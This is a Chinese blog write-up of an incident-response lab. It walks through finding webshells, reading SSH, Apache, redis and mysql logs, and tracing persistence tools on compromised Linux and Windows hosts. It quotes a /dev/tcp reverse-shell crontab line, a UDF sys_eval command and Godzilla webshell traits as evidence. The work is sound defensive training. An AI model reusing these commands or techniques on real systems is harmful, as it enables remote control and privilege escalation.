type
status
date
slug
summary
tags
category
icon
password
😀
前言: 玄机靶场挑战记录。 祝您度过愉快的一天!

第一章 应急响应-webshell查杀

连接靶机,查看日志
notion image
是apache提供web服务
查看端口开放情况
notion image
确认apache+php
 
查找apache配置文件位置
notion image
查看文件,寻找网站根目录(一般情况下在/var/www/html)
发现
notion image
AllowOverride None ,不允许任何 .htaccess 文件覆盖该目录中的设置。
find找webshell
notion image
发现第一个隐藏的flag1 flag{027ccd04-5065-48b6-a32d-77c704a5e26d}
 
此外,很明显,这是哥斯拉,github地址https://github.com/BeichenDream/Godzilla
md5得39392DE3218C333F794BEFEF07AC9257
拼接得flag2 flag{39392DE3218C333F794BEFEF07AC9257}
 
现在要找隐藏shell,提示路径 /xxx/xxx/xxx/xxx/xxx.xxx
打包根目录到本地,用D盾扫描
notion image
发现有一个隐藏文件
notion image
对路径/var/www/html/include/Db/.Mysqli.php进行md5加密得AEBAC0E58CD6C5FAD1695EE4D1AC1919
拼接flag3 flag{AEBAC0E58CD6C5FAD1695EE4D1AC1919}
 
还差一个免杀马
php免杀马通常字符串异或加密、base家族加密、rot13加密 字符串拼接等方式实现
通过find去匹配关键字查询,先查最常见的base64
notion image
对路径/var/www/html/wap/top.php加密得EEFF2EABFD9B7A6D26FC1A53D3F7D1DE
拼接flag4 flag{EEFF2EABFD9B7A6D26FC1A53D3F7D1DE}
 

第一章 应急响应-Linux日志分析

需要查看日志
查看爆破主机ssh root账号的IP
拼接flag1 flag{192.168.200.2,192.168.200.31,192.168.200.32} (注意顺序)
命令解析
| grep -a "Failed password for root” 使用管道将 cat 的输出传递给 grep-a 选项用于将二进制文件视为文本文件,通常在日志文件中不需要使用,但它确保所有文件都被当作文本处理 | awk '{print $11}’ 使用管道将 grep 的输出传递给 awkawk 是一个强大的文本处理工具,这里用于提取日志行中的第 11 个字段(默认以空格或制表符作为字段分隔符)。在这种类型的日志文件中,第 11 个字段通常是尝试登录的 IP 地址 | sort 使用管道将 awk 的输出传递给 sort,对提取的 IP 地址进行排序 | uniq -c 使用管道将排序后的输出传递给 uniq ,该命令用于统计每个唯一 IP 地址出现的次数,并在每行前添加出现次数
| sort -nr 根据出现次数对 IP 地址进行降序排序(-n 表示按数值排序,-r 表示降序) | more 分页显示输出结果
 
查看ssh爆破成功登陆的IP
拼接flag2 flag{192.168.200.2}
"Accepted password for root" 即日志中登录成功记录
 
查看爆破用户名字典
拼接flag3 flag{user,hello,root,test3,test2,test1}
命令解析
| perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}’ 使用管道将 grep 的输出传递给 Perl 脚本,perl -e 选项用于执行 Perl 代码
这段 Perl 代码对每一行进行处理:
  • while($_=<>):读取每一行输入。
  • /for(.*?) from/:正则表达式匹配 "for" 和 "from" 之间的内容(通常是用户名)。
  • print "$1\n";:将匹配到的用户名打印出来
 
查看登陆成功的IP爆破次数
见flag1 flag2 命令得flag4 flag{4}
 
查看黑客登陆主机后新建的一个后门用户 用户名
flag5 flag{test2}
 

第一章 应急响应- Linux入侵排查

找木马,通过命令方式
可见1.php文件是一个木马,密码 1
flag1 flag{1}
也可D盾扫
 
找不死马,通过观察三面三个php文件可以知道是.shell.php
md5解密
notion image
得flag2 flag{hello}
 
找生成不死马的文件——index.php
flag3 flag{index.php}
分析一下文件
 
找黑客服务器ip
以上命令先执行文件,后查看网络,生产环境下不建议
抓到了
flag4 flag{10.11.55.21}
flag5 flag{3333}
其他:把文件丢进云沙箱跑跑 微步、360都行
notion image
notion image
整个过程保证网络连接正常,非正常可能导致运行执行文件命令后无法正常执行,系统无法正常调用,可用strace跟踪
例如此篇
 

第二章日志分析-apache日志分析

与日志相关,apache日志通常在/var/log/apache2下
这里也找一下apache日志所在位置
首先试试看找apache配置文件
只有ErrorLog ,没有CustomLog
那只能直接找一下,
 
找访问次数最多的IP
flag1 flag{192.168.200.2}
awk '{print $1}’ 使用 awk 命令处理前一步的输出,提取每一行的第一个字段,通常是IP地址 uniq -c 输出每个IP地址及其对应的访问次数 head -n 10 显示前10个结果
 
查看浏览器指纹
notion image
此处需排查,简单根据时间就行
notion image
此处是分界,往前时间访问是404,往后是200,可推测往前时间的有黑客浏览器指纹
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
md5加密 2d6330f380f44ac20f3a02eed0958f66
flag2 flag{2d6330f380f44ac20f3a02eed0958f66}
 
查看index.php被访问次数
flag3 flag{27}
wc -l 计算并输出包含 /index.php 的行数,即访问 /index.php 页面的次数
查看黑客ip访问了多少次
flag4 flag{6555}
为什么是192.168.200.2 - -
—由上面可以知道,apache日志条目为
即格式如下:
- - 表示客户端没有提供身份验证信息。因此,这两个破折号是日志格式的一部分,用于占位
所以grep "192.168.200.2 - -" 的原因是为了精确匹配日志格式,确保匹配的是标准的、未认证用户的日志条目
查看2023年8月03日8时这一个小时内有多少IP访问
flag5 flag{5}
 

第二章日志分析-redis应急响应

 
分析黑客攻击成功的 IP
通过本地 PC SSH到服务器并且分析黑客攻击成功的 IP 为多少,将黑客 IP 作为 FLAG 提交
打包文件到本地分析
查看redis.log
明显有爆破
notion image
flag1 flag{192.168.100.20}
 
通过本地 PC SSH到服务器并且分析黑客第一次上传的恶意文件,将黑客上传的恶意文件里面的 FLAG 提交
分析redis.log
notion image
找这个文件
notion image
不能正常看,用010editor看看
notion image
flag2 flag{XJ_78f012d7-42fc-49a8-8a8c-e74c87ea109b}
 
分析黑客反弹 shell 的IP
notion image
flag3 flag{192.168.100.13}
crontab 管理用户的计划任务表的命令
-l 列出当前用户的 crontab 文件内容 /bin/sh -i >& /dev/tcp/192.168.100.13/7777 0>&1 利用 /bin/sh 通过 TCP 连接向指定的 IP 地址和端口发送输入输出流,实现一个反向 shell 连接
通过本地 PC SSH到服务器并且溯源分析黑客的用户名,并且找到黑客使用的工具里的关键字符串
留下了用户名 xj-test-user
github搜搜
notion image
notion image
notion image
flag4 flag{xj-test-user-wow-you-find-flag}
 
分析黑客篡改的命令,将黑客篡改的命令里面的关键字符串作为 FLAG 提交
notion image
经典命令替换
关键字符串 c195i2923381905517d818e313792d196
flag5 flag{c195i2923381905517d818e313792d196}
为什么要进入/usr/bin/目录
  • /usr/bin 目录中通常包含大量的系统和应用程序的可执行文件。将恶意文件放在这里,可以利用文件数量的优势,使它们不容易被发现
  • /usr/bin 目录中的文件通常是由具有较高权限的用户(如 root 用户)运行的。篡改这些文件,攻击者可以更容易地获取系统级权限
  • 某些文件可能在系统启动时或通过 cron 任务自动运行。篡改这些文件可以使恶意软件在系统启动或特定时间点自动运行,确保攻击者的代码持久存在
怎么恢复原始文件?
从备份或安装包中恢复原始文件,或者重新下载对应的包
 

第二章日志分析-mysql应急

 
1.黑客第一次写入的shell
flag1 flag{ccfda79e-7aa1-4275-bc26-a6189eb9a20b}
 
2.黑客反弹shell的ip
到mysql日志查看一下(只有一个error.log)
执行了/tmp/1.sh,但未找到命令,指出脚本中的每一行都被解释器当作命令来尝试执行,但由于这些行实际上是HTTP响应的一部分(例如日期、状态信息、长度描述等),shell无法识别并执行它们,从而导致了一系列的错误
去看看
有一个反弹shell
flag2 flag{192.168.100.13}
 
3.黑客提权文件的完整路径
黑客通过反弹shell拿到服务器权限,并且需要提权,从数据库权限提权到主机用户权限→通过数据库服务打过来的
需要先获得mysql的用户名和密码,通常情况下获得账户密码有以下方式:
  • MySQL 3306 端口弱口令爆破
  • sqlmap 注入的 --sql-shell 模式
  • 网站的数据库配置文件中拿到明文密码信息
  • CVE-2012-2122 等这类漏洞直接拿下MySQL权限
猜测是udf提权(用户自定义函数,常见)
定位到./common.php:$conn=mysqli_connect("localhost","root","334cc35b3c704593","cms","3306");
登录数据库
secure_file_priv 字段为空,具有写入权限
一般进行了提权,一定会在/usr/lib/mysql/plugin/目录下留下痕迹,udf.so,被人写了自定义函数都库中
notion image
路径加密,得flag
flag3 flag{b1818bde4e310f3d23f1005185b973e7}
4.黑客获取的权限
select * from mysql.func; 在这个表查询到新增函数
select sys_eval('whoami'); 用新增函数查询系统命令
或者ps查看当前系统进程状态 -a显示所有用户的进程
notion image
flag4 flag{mysql}
 

第三章 权限维持-linux权限维持-隐藏

 
1.黑客隐藏的隐藏的文件 完整路径
notion image
-type d:这是一个选项,指定只搜索目录(d表示目录,f表示文件)
.*表示以.开头的所有名称,即隐藏目录。
2>/dev/null:这是将错误输出(标准错误流,文件描述符2)重定向到/dev/null,即忽略错误消息
libprocesshider 是一个用于隐藏进程的工具,通常用于在 Linux 系统上隐藏运行的进程,使其不被标准的进程查看工具(如 ps, top)所察觉
notion image
只有1.py由执行权限
加密目录/tmp/.temp/libprocesshider/1.py
flag1 flag{109ccb5768c70638e24fb46ee7957e37}
 
2.黑客隐藏的文件反弹shell的ip+端口
查看1.py
notion image
socket:用于网络编程,创建客户端与服务器之间的连接
subprocess:用于生成新的进程,如在本例中启动一个新的bash shell
os:提供了与操作系统交互的各种功能,如进程管理、文件操作等
sys:提供访问和控制Python解释器的一些功能
time:用于时间相关的操作,如延时
连续进行了两次os.fork()调用,实现从父进程到子进程再孙子进程的转变,并在每次调用后通过判断返回值决定是否退出当前进程。这一系列操作是为了将程序转为一个无终端的后台进程(daemon化),使其在后台持续运行且不易被直接观察到
os.chdir("/"):改变当前工作目录到根目录
os.setsid():创建一个新的会话,并成为该会话的首进程,进一步脱离与终端的关联
os.umask(0):设置文件权限掩码为0,确保后续创建的文件或目录具有最宽松的权限
无限循环及异常处理
  • while 1:表示一个无限循环,确保连接失败后能不断尝试重新建立
  • 在循环内部,首先刷新标准输出和错误缓冲区,并将它们重定向到/dev/null,以消除可能的日志记录或屏幕输出
  • 使用socket模块创建TCP连接到指定的攻击者服务器地址和端口
  • 接着,通过os.dup2()三次调用,将标准输入(0)、标准输出(1)、标准错误(2)都重定向到刚建立的socket连接上,实现与远程服务器的双向通信
  • 使用subprocess.call启动一个交互式的bash shell (/bin/bash -i),使得攻击者可以通过此socket连接发送命令并接收输出
  • 如果连接或命令执行过程中出现异常,则捕获并忽略它,然后等待2秒后继续尝试
flag2 flag{114.114.114.121:9999}
 
3.黑客提权所用的命令 完整路径的md5
查找系统中所有具有 SUID 权限的文件
notion image
-perm -4000:查找具有特定权限的文件。-perm 参数用于指定文件权限的模式,在这种情况下,-4000 表示查找所有设置了 SUID(Set User ID)位的文件,数字 4 表示 SUID 位,三个 0 分别代表常规权限(用户、组和其他人)的占位符 切换至普通用户ctf
notion image
find提权成功
/usr/bin/find 加密
flag3 flag{7fd5884f493f4aaf96abee286ee04120}
 
4黑客尝试注入恶意代码的工具完整路径md5
翻目录
在/opt下发现.cymothoa-1-beta,而cymothoa-1-beta是一个后面隐藏工具
notion image
路径/opt/.cymothoa-1-beta/cymothoa 加密
flag4 flag{087c267368ece4fcf422ff733b51aed9}
 
5.使用命令运行 ./x.xx 执行该文件 将查询的 Exec****** 值
执行文件并查看网络连接
notion image
notion image
/proc/464/cmdline是一个虚拟文件,包含进程 ID 为 464 的进程的启动命令行参数
完整的执行程序 /usr/bin/python3.4
flag{/usr/bin/python3.4}
 

第四章 windows实战-wordpress

 
任务管理器中可以看到phpstudy在运行服务,暂无其他网站服务
notion image
是WAMP
notion image
 
查找攻击者攻击成功的第一时间
查日志
奇怪,在apache日志下没找到,在nginx下找到了(
另,nginx日志位置 C:\phpstudy_pro\Extensions\Nginx1.15.11\logs\access.log
notion image
flag1 flag{2023:04:29 22:45:23}
notion image
 
2.提交攻击者的浏览器版本
见上图
flag2 flag{Firefox/110.0}
 
3.提交攻击者目录扫描所使用的工具名称
notion image
flag3 flag{Fuzz Faster U Fool}
 
4.找到攻击者写入的恶意后门文件
D盾
notion image
notion image
根目录下可见隐藏文件
flag4 flag{C:\phpstudy_pro\WWW\.x.php}
 
5.找到攻击者隐藏在正常web应用代码中的恶意代码
flag5 flag{C:\phpstudy_pro\WWW\usr\themes\default\post.php}
 
6.请指出可疑进程采用的自动启动的方式,启动的脚本的名字
沙箱云扫描windows目录下的360.exe
notion image
还有个x.bat
notion image
指向360.exe
notion image
flag6 flag{x.bat}
 
 
 
 

其他

哥斯拉php马

  • webshell配置,常见于文件头session_start(); @set_time_limit(0); @error_reporting(0);
  • 默认的加解密盐值:3c6e0b8a9c15224a
  • 有一个向SESSION中存储攻击荷载的过程,就是会有一个$_SESSION[$XXX]=P的过程
第一次通信时,服务端通过POST方式传递一个名叫pass的参数给木马,给pass参数赋的值是加密后的一组用”|”隔开的方法,也就是接下来要使用的攻击荷载。荷载在解密后被存入SESSION,供之后使用。
从第二次通信开始,pass传入的是远控命令,通过攻击荷载中的run()方法执行远控命令。然后对回显进行加密后传输给哥斯拉的服务端
 
 
 
 
 
书籍是人类进步的阶梯记一次非域间横向移动实战_PTH